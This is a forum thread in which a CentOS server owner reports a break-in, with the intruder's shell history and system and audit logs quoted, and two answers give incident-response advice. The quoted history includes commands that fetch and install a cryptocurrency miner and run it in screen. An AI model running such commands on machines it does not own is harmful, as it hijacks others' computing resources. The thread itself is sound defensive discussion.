I'm using SSH with key based authentication and I believe my server has been hacked

Question

Today, I saw my server is heavily loaded. When I began digging I saw that someone logged in as root (despite root user not having a password), installed miner, and ran screen.

SSH listening on other port.

How is it possible? Please advise! How can I find security if there has been a breach?

OS: CentOS Linux release 7.3.1611

I get image from link http://cloud.centos.org/centos/7/images/

Atack started at 15:11 From history

   40  last|less
   41  ls
   42  wget -O minergate.rpm link_https://minergate.com/download/rpm-cli
   43  yum -y install screen wget
   44  ls
   45  wget -O minergate.rpm link_https://minergate.com/download/rpm-cli
   46  yum -y install ./minergate.rpm 
   47  screen
   48  exit

From history of screen

minergate-cli --user [email protected] --xmr

secret

    Jun 20 13:32:45 ows-ds-app-01 sudo:  centos : TTY=unknown ; PWD=/home/centos ; USER=root ; COMMAND=/bin/sh -c echo BECOME-SUCCESS-cttsrdtldonikyessrgqdyudkdbhrixs; /usr/bin/python
    Jun 20 13:32:46 ows-ds-app-01 sudo:  centos : TTY=unknown ; PWD=/home/centos ; USER=root ; COMMAND=/bin/sh -c echo BECOME-SUCCESS-vlzztgrqfqklsnmmgccjqbtkofbspumu; /usr/bin/python
    Jun 20 13:33:01 ows-ds-app-01 su: pam_unix(su:session): session opened for user datasources by (uid=0)
    Jun 20 13:33:01 ows-ds-app-01 su: pam_unix(su:session): session closed for user datasources
    Jun 20 13:33:02 ows-ds-app-01 sudo:  centos : TTY=unknown ; PWD=/home/centos ; USER=root ; COMMAND=/bin/sh -c echo BECOME-SUCCESS-miotiarcesivehgeroocljadmvjdxdpb; /usr/bin/python
    Jun 20 13:34:04 ows-ds-app-01 sshd[22042]: Received disconnect from 93.169.8.251 : 11: disconnected by user
    Jun 20 13:34:04 ows-ds-app-01 sshd[22039]: pam_unix(sshd:session): session closed for user centos
    Jun 20 15:11:48 ows-ds-app-01 login: pam_unix(login:auth): check pass; user unknown
    Jun 20 15:11:48 ows-ds-app-01 login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=
    Jun 20 15:11:50 ows-ds-app-01 login: FAILED LOGIN 1 FROM tty1 FOR (unknown), User not known to the underlying authentication module
    Jun 20 15:11:59 ows-ds-app-01 unix_chkpwd[25144]: password check failed for user (root)
    Jun 20 15:11:59 ows-ds-app-01 login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=  user=root
    Jun 20 15:11:59 ows-ds-app-01 login: pam_succeed_if(login:auth): requirement "uid >= 1000" not met by user "root"
    Jun 20 15:12:01 ows-ds-app-01 login: FAILED LOGIN 2 FROM tty1 FOR root, Authentication failure
    Jun 20 15:12:09 ows-ds-app-01 login: pam_unix(login:auth): check pass; user unknown
    Jun 20 15:12:09 ows-ds-app-01 login: pam_unix(login:auth): authentication failure; logname=LOGIN uid=0 euid=0 tty=tty1 ruser= rhost=
    Jun 20 15:12:11 ows-ds-app-01 login: FAILED LOGIN SESSION FROM tty1 FOR (unknown), User not known to the underlying authentication module
    Jun 20 15:12:15 ows-ds-app-01 sshd[934]: Received signal 15; terminating.
    Jun 20 15:12:15 ows-ds-app-01 sshd[15541]: pam_unix(sshd:session): session closed for user centos
    Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Loading rules from directory /etc/polkit-1/rules.d
    Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Loading rules from directory /usr/share/polkit-1/rules.d
    Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Finished loading, compiling and executing 2 rules
    Jun 20 15:14:50 ows-ds-app-01 polkitd[549]: Acquired the name org.freedesktop.PolicyKit1 on the system bus
    Jun 20 15:14:53 ows-ds-app-01 sshd[929]: Server listening on 0.0.0.0 port 222.
    Jun 20 15:14:53 ows-ds-app-01 sshd[929]: Server listening on :: port 222.
    Jun 20 15:15:05 ows-ds-app-01 login: pam_unix(login:session): session opened for user root by LOGIN(uid=0)
    Jun 20 15:15:05 ows-ds-app-01 login: ROOT LOGIN ON tty1
    Jun 20 15:20:05 ows-ds-app-01 sshd[2429]: reverse mapping checking getaddrinfo for pppoe-93-169-8-251.customer.net.com [93.169.8.251 ] failed - POSSIBLE BREAK-IN ATTEMPT!
    Jun 20 15:20:08 ows-ds-app-01 sshd[2429]: Postponed publickey for centos from 93.169.8.251 port 49504 ssh2 [preauth]
    Jun 20 15:20:08 ows-ds-app-01 sshd[2429]: Accepted publickey for centos from 93.169.8.251 port 49504 ssh2: RSA 95:44:b8:2b:de:66:34:df:bb:08:48:0a:bf:7d:7c:76
    Jun 20 15:20:08 ows-ds-app-01 sshd[2429]: pam_unix(sshd:session): session opened for user centos by (uid=0)
    Jun 20 15:20:38 ows-ds-app-01 login: pam_unix(login:session): session closed for user root
    Jun 20 15:22:59 ows-ds-app-01 sshd[2432]: Received disconnect from 93.169.8.251 : 11: disconnected by user

audit.log

    type=USER_AUTH msg=audit(Tue Jun 20 15:11:48 2017.778:100956): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="?" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=USER_LOGIN msg=audit(Tue Jun 20 15:11:50 2017.875:100957): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=login acct="(unknown)" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=USER_AUTH msg=audit(Tue Jun 20 15:11:59 2017.474:100958): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="root" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=USER_LOGIN msg=audit(Tue Jun 20 15:12:01 2017.455:100959): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=login id=0 exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=USER_AUTH msg=audit(Tue Jun 20 15:12:09 2017.424:100960): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=? acct="?" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=USER_LOGIN msg=audit(Tue Jun 20 15:12:11 2017.581:100961): pid=601 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:local_login_t:s0-s0:c0.c1023 msg='op=login acct="(unknown)" exe="/usr/bin/login" hostname=? addr=? terminal=tty1 res=failed'
    type=SERVICE_START msg=audit(Tue Jun 20 15:12:15 2017.610:100962): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=rhel-dmesg comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=SERVICE_STOP msg=audit(Tue Jun 20 15:12:15 2017.610:100963): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=rhel-dmesg comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=CRYPTO_KEY_USER msg=audit(Tue Jun 20 15:12:15 2017.618:100964): pid=934 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=eb:1d:51:a6:5a:6e:00:ce:f6:4e:dd:a7:5a:9f:e2:80 direction=? spid=934 suid=0  exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success'
    type=CRYPTO_KEY_USER msg=audit(Tue Jun 20 15:12:15 2017.618:100965): pid=934 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=b2:32:0e:6d:80:6c:0e:6f:36:0e:38:6b:45:89:02:f5 direction=? spid=934 suid=0  exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success'
    type=CRYPTO_KEY_USER msg=audit(Tue Jun 20 15:12:15 2017.618:100966): pid=934 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=destroy kind=server fp=4e:1b:1f:0f:a7:e9:de:31:ff:37:00:48:5f:c2:e6:07 direction=? spid=934 suid=0  exe="/usr/sbin/sshd" hostname=? addr=? terminal=? res=success'
    type=SERVICE_START msg=audit(Tue Jun 20 15:12:15 2017.619:100967): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-final comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=SERVICE_STOP msg=audit(Tue Jun 20 15:12:15 2017.619:100968): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-final comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=SERVICE_START msg=audit(Tue Jun 20 15:12:15 2017.620:100969): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-config comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=SERVICE_STOP msg=audit(Tue Jun 20 15:12:15 2017.621:100970): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=cloud-config comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'
    type=ANOM_ABEND msg=audit(Tue Jun 20 15:12:15 2017.625:100971): auid=1000 uid=0 gid=0 ses=3091 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 pid=23314 comm="vim" reason="memory violation" sig=11
    type=USER_END msg=audit(Tue Jun 20 15:12:15 2017.627:100972): pid=16811 uid=0 auid=1000 ses=3091 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=PAM:session_close grantors=pam_keyinit,pam_limits acct="root" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/1 res=success'
    type=CRED_DISP msg=audit(Tue Jun 20 15:12:15 2017.627:100973): pid=16811 uid=0 auid=1000 ses=3091 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=PAM:setcred grantors=pam_env,pam_unix acct="root" exe="/usr/bin/sudo" hostname=? addr=? terminal=/dev/pts/1 res=success'
    type=USER_END msg=audit(Tue Jun 20 15:12:15 2017.639:100974): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:session_close grantors=pam_selinux,pam_loginuid,pam_selinux,pam_namespace,pam_keyinit,pam_keyinit,pam_limits,pam_systemd,pam_unix,pam_lastlog acct="centos" exe="/usr/sbin/sshd" hostname=93.169.8.251 addr=93.169.8.251 terminal=ssh res=success'
    type=CRED_DISP msg=audit(Tue Jun 20 15:12:15 2017.639:100975): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:setcred grantors=pam_env,pam_unix acct="centos" exe="/usr/sbin/sshd" hostname=93.169.8.251 addr=93.169.8.251 terminal=ssh res=success'
    type=USER_END msg=audit(Tue Jun 20 15:12:15 2017.641:100976): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=? addr=? terminal=/dev/pts/1 res=success'
    type=USER_LOGOUT msg=audit(Tue Jun 20 15:12:15 2017.641:100977): pid=15541 uid=0 auid=1000 ses=3091 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=? addr=? terminal=/dev/pts/1 res=success'

Answer 1

Typical Incident Response questions are

1. What was the entry vector? (related: what was the exact timeline & sequence of events around the breach")

There are many routes an attacker takes to "hack into" a system (entry vector). Looking at just one source of information (such as logs) can lead to wrong conclusions. Depending on how important this server is for you - and how important it is for you to establish the entry vector, you should consider hiring a DFIR professional to investigate and make this determination for you.

2. What all were compromised? (related: What is the extent of contamination and pivots if any?)

Once a hacker breaks in, they typically take several measures to make sure they don't get booted out. In one similar example (entry was through an insecure Redis software installation), we saw

• Multiple crontab entries were added that check each of their programs in a circular sequence e.g., A checks whether B is running, B checks for C and C checks for A. - and restart the programs if they are not running for some reason.
• One of the programs checks for an SSH backdoor and makes sure it is added (it was buggy and added a lot of trash to sshd config but that's another story)
• Another would start a mining program if it wasn't already running.

Again to figure out the extent of the damage for full containment and recovery, you need a security pro (specifically, a DFIR pro) at work. This is not a DIY project, I'm afraid.

You do have the option of nuking everything from orbit (wipe the system clean; or delete the VM altogether) and starting afresh. However, that won't plug any hole you have in your security (that's how the hacker got in in the first place) and so it won't stop the attacker from pwning you again.

Answer 2

Not enough information has been provided to say how, specifically, the attacker got in.

It is likely that some service you run on that machine compromised. If the service ran as root, that's all it takes. If the service were run as a non-root user, some additional local priv escalation could have been used.

As others have said, this isn't a DIY situation. Best suggestion is to pay a professional, or start over with a clean VM, fully patched, and re-enable your services from backups one at a time.

Shut down any non-essential services you don't need to reduce the attack surface. Webservers and databases, if open to the net, are the most likely sources of the initial entry. You can check those log files around the time of the miner installation. A good attacker would clean their tracks, but since they left the logfiles around showing what they did, they may not care if you see how they got in.